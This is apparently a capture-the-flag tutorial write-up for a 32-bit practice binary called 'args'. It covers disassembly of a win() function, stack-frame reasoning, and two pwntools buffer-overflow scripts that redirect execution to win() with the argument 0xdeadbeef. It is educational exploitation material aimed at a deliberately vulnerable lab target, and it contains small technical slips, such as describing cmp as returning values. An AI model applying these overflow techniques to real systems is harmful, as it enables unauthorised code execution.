args

Now that we've spent some time going over binaries in extreme details, I am going to omit some of the initial details of the disassembly and focus more on the newer concepts. This binary is strikingly similar to the ret2win.

Checking Security

```
$ checksec args
[*] '/home/joybuzzer/Documents/vunrotc/public/01-ret2win/args/src/args'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
```

All the security features are still disabled.

Disassembly

Checking the functions list:

```
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049040  __libc_start_main@plt
0x08049050  fflush@plt
0x08049060  gets@plt
0x08049070  puts@plt
0x08049080  system@plt
0x08049090  _start
0x080490d0  _dl_relocate_static_pie
0x080490e0  __x86.get_pc_thunk.bx
0x080490f0  deregister_tm_clones
0x08049130  register_tm_clones
0x08049170  __do_global_dtors_aux
0x080491a0  frame_dummy
0x080491a6  win
0x080491ef  read_in
0x0804923c  main
0x08049254  __x86.get_pc_thunk.ax
0x08049258  _fini
```

If we check `read_in()` and `main()`, we'll see that the two methods are identical. Let's check `win()`.

```
gef➤  disas win
Dump of assembler code for function win:
   0x080491a6 <+0>: push   ebp
   0x080491a7 <+1>: mov    ebp,esp
   0x080491a9 <+3>: push   ebx
   0x080491aa <+4>: sub    esp,0x4
   0x080491ad <+7>: call   0x8049254 <__x86.get_pc_thunk.ax>
   0x080491b2 <+12>:    add    eax,0x2e4e
   0x080491b7 <+17>:    cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x080491be <+24>:    je     0x80491d6 <win+48>
   0x080491c0 <+26>:    sub    esp,0xc
   0x080491c3 <+29>:    lea    edx,[eax-0x1ff8]
   0x080491c9 <+35>:    push   edx
   0x080491ca <+36>:    mov    ebx,eax
   0x080491cc <+38>:    call   0x8049070 <puts@plt>
   0x080491d1 <+43>:    add    esp,0x10
   0x080491d4 <+46>:    jmp    0x80491ea <win+68>
   0x080491d6 <+48>:    sub    esp,0xc
   0x080491d9 <+51>:    lea    edx,[eax-0x1fee]
   0x080491df <+57>:    push   edx
   0x080491e0 <+58>:    mov    ebx,eax
   0x080491e2 <+60>:    call   0x8049080 <system@plt>
   0x080491e7 <+65>:    add    esp,0x10
   0x080491ea <+68>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x080491ed <+71>:    leave
   0x080491ee <+72>:    ret
```

The most glaring part of this function is the call to `cmp`, which is a comparison function. `cmp` is used in assembly to manage `if` statements.

- The first instruction is `cmp`, which takes in the two values to compare. This returns a value of `0` if the two values are equal, `1` if the first value is greater than the second, and `-1` if the first value is less than the second.
- The next instruction is a "*jump if*" instruction. These are used in tandem with `cmp` to decide where we go. In this case, the program decides to *jump if equal* (`je`). `je` takes an address, being where in the function you want to jump to.

Let's check out the two routes:

- If the the first value (`DWORD PTR [rbp+0x8]`) is equal to `0xdeadbeef`, then we move to `win+48`. If we follow `win+48`, we see that this reaches `system`.
- If `DWORD PTR [rbp+0x8]` is not equal, it will continue instructions. However, there is a `jmp` call, which is going to jump to `win+68`, which skips the `system` call.

What is `DWORD PTR [rbp+0x8]`? Let's think about it in terms of the stack. The stack frame is going to be located at `rbp`. After `rbp` is going to be the *return pointer*, as we saw in our stack frame from earlier:

```
    |-- rsp
    v
[... | ... buffer for function ... | base pointer | return pointer | ... ]
```

That means that at `rbp+0x8` holds the last thing pushed to the stack *before the `win()` function was called.* **This is the (first) parameter that's passed to the function.** Subsequent items on the stack would serve as the following parameters.

This tells us that we need to pass the parameter `0xdeadbeef` to the `win()` function. Since this is 32-bit, let's just pass it right after the return pointer!

```python
from pwn import *

proc = process('./args')

cmp = 0xdeadbeef
f_win = 0x080491a6

payload = b'A' * 0x34
payload += p32(f_win)
payload += p32(cmp)

proc.sendline(payload)
proc.interactive()
```

We pass `cmp` through `p32()` for two reasons: (1) we need it to be little endian, and (2) we need it to be the entire size of the parameter.

Running this yields doesn't work!

```
[+] Starting local process './args': pid 5882
[*] Switching to interactive mode
Good luck winning here!
You lose!
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './args' stopped with exit code -11 (SIGSEGV) (pid 5882)
```

What went wrong? If we do some digging, we'll find that *You lose!* gets printed whenever we don't match the correct argument:

```
──── arguments (guessed) ────
puts@plt (
   [sp + 0x0] = 0x0804a008 → "You lose!"
)
```

```
```

(*If you're struggling to find this for yourself, attach a gdb instance to your exploit and then step through it until you reach the `puts` call.*)

What is happening? Checking the stack frame at the time of the `cmp` call shows us:

```
gef➤  x/20wx $esp
0xffdcb134: 0x41414141  0x41414141  0x41414141  0xdeadbeef
0xffdcb144: 0x00000000  0xf7fba020  0xf7c21519  0x00000001
0xffdcb154: 0xffdcb204  0xffdcb20c  0xffdcb170  0xf7e2a000
0xffdcb164: 0x0804923c  0x00000001  0xffdcb204  0xf7e2a000
0xffdcb174: 0xffdcb204  0xf7fb9b80  0xf7fba020  0xa1d90556
gef➤  x/wx $ebp+0x8
0xffdcb144: 0x00000000
```

We're off by one chunk? *Why is that?* Since we're jumping to `win()` by changing the value of the return pointer, rather than going there via `call win`, a return pointer is never pushed on the stack. However, since the code doesn't expect us to do this, it treats the stack as if there still is one.

> *In our code, `0xdeadbeef` is actually serving as the return pointer for `win()`. If you continue execution, you'll notice you end up at this address:*
>
> ```
> [#0] Id 1, Name: "args", stopped 0xdeadbeef in ?? (), reason: SIGSEGV
> ```

This is an easy fix. All we need to do is allocate space for a return pointer in our payload. Since it doesn't really matter to us what it is, because we'll have already gotten our data by the time it's ever reached, we can just use `0x0`:

```python
from pwn import *

proc = process('./args')

cmp = 0xdeadbeef
f_win = 0x080491a6

payload = b'A' * 0x34
payload += p32(f_win)
payload += p32(0x0)
payload += p32(cmp)

proc.sendline(payload)
proc.interactive()
```

(*You could use something like `main` to ensure that the program doesn't crash, but it's not necessary.*)

Running this works!

```
[+] Starting local process './args': pid 6081
[*] Switching to interactive mode
Good luck winning here!
cat: flag.txt: No such file or directory
[*] Got EOF while reading in interactive
$
[*] Process './args' stopped with exit code -11 (SIGSEGV) (pid 6081)
[*] Got EOF while sending in interactive
```

Running this on the remote server will get your flag!